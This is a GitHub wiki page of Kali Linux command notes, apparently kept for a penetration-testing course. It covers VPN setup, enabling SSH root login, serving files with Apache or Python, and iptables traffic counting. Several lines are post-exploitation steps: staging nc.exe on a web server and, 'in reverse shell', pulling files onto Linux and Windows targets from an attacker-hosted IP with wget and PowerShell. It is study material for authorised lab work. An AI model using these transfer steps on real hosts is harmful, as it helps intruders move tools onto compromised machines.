-
Notifications
You must be signed in to change notification settings - Fork 14
Kali Common commands
lethanhtung01011980 edited this page Jun 13, 2020
·
17 revisions
- openvpn --config VPN/OS-XXXX-PWK.ovpn --auth-user-pass <(echo -e "vpnuser\nvpnpass")
- rdesktop -u newuser -p newpass -g 1280x720 Windows_IP
- systemctl start ssh
- systemctl enable ssh
Enable root login
- vim /etc/ssh/sshd_config
- PermitRootLogin yes
- systemctl restart ssh
- Can use plink.exe in Windows as command-line ssh client
- /usr/share/windows-binaries/plink.exe
- systemctl start apache2
- systemctl enable apache2
- cd /var/www/html
- mv index.html index.html.bak
- mv index.nginx-debian.html index.nginx-debian.html.bak
- Download and upload WinSCP to Windows client: https://winscp.net/download/WinSCP-5.15.4-Setup.exe
- Copy nc files: cp nc.exe /var/www/html
To show current file in current directory. Able to display access log, too.
python -m SimpleHTTPServer 80
- updatedb
- locate xyz.txt
- In reverse shell - Linux: wget 10.10.10.10/file
- In reverse shell - Windows:
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.10.10/file.exe','C:\Users\user\Desktop\file.exe')"
- apt install openvas
- openvas-setup
Setup
- iptables -I INPUT 1 -s victim-ip -j ACCEPT
- iptables -I OUTPUT 1 -d victim-ip -j ACCEPT
Reset the traffic counters
- iptables -Z
View traffic
- watch iptables -vn -L
View images as string
- strings nineveh.png